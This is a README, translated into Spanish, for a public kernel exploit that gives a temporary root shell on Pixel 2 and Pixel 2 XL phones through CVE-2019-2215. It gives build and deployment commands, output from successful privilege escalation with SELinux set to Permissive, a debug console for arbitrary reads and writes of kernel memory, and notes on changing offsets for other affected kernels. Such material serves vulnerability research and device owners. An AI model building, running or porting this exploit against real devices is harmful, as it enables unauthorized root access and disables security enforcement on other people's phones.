
Temproot para Pixel 2 y Pixel 2 XL mediante CVE-2019-2215
Demostración de un ataque de escalada de privilegios de solo lectura/escritura en memoria del kernel que resulta en un shell root temporal.
Funciona en dispositivos Google Pixel 2/Pixel 2 XL (walleye/taimen) que ejecutan la imagen QP1A.190711.020 de septiembre de 2019 con la versión de kernel-BuildID 4.4.177-g83bee1dc48e8.
Para que esta herramienta funcione en otros dispositivos y/o kernels afectados por la misma vulnerabilidad, es necesario encontrar y cambiar algunos offsets. Como se menciona en el bugtracker de Project Zero, esto no es terriblemente difícil.
También se incluye una mini consola de depuración que proporciona una interfaz similar a un editor hexadecimal para tocar la memoria del kernel y la capacidad de generar un shell.
Para mayor comodidad, se incluye un Makefile que funciona con el toolchain de compilación cruzada de Android NDK r19 o superior.
# Descarga el Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip
# Extrae el NDK y establece su ruta como $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip # opcional
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20
# Clona el repositorio git `cve-2019-2215` y haz `cd` en él.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215
# Compila el binario.
user@host:~/cve-2019-2215$ make all # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped
Una vez compilado el binario, transfiérelo al dispositivo, hazlo ejecutable y ejecútalo. (En algún lugar dentro de /data/ debería funcionar.)
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $
El éxito no está garantizado y el dispositivo podría incluso colapsar directamente, pero normalmente SELinux se establece en Permissive y se genera un shell root.
Pasa debug como único argumento de línea de comandos para iniciar una mini consola de depuración en lugar de la rutina de escalada de privilegios después de lograr R/W del kernel.
debug> help
ayuda rápida
print
imprime la dirección base del kernel, algunos offsets de símbolos del kernel,
y la dirección de current task_struct como cadenas hexadecimales
read <kaddr> <len>
lee <len> bytes de <kaddr> y muestra como un volcado hexadecimal
<kaddr> es una cadena hexadecimal sin prefijo 0x
<len> es 1-4096 o 0x1-0x1000
write <kaddr> <data>
escribe <data> en <kaddr>
<kaddr> es una cadena hexadecimal sin prefijo 0x
<data> es de 1-4096 bytes hexadecimales, espacios ignorados, se escriben *TAL CUAL*
p.ej., si kaddr 0xffffffffdeadbeef contiene un int, y quieres establecer
su valor a 1, ingresa 'write ffffffffdeadbeef <data>', donde <data> es
'01000000', '0100 0000', '01 00 0 0 00', etc. (nuestro ARM es little-endian)
shell
lanza un shell (pista: ¿de alguna manera nos convertimos en otro usuario? :P)
help
imprime esta ayuda
exit
sale de la consola de depuración
Establece SELinux de Permissive de vuelta a Enforcing como usuario no privilegiado.
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000 .#@.............
ffffff9bafc4e4c8: 0000 00 ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000 ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $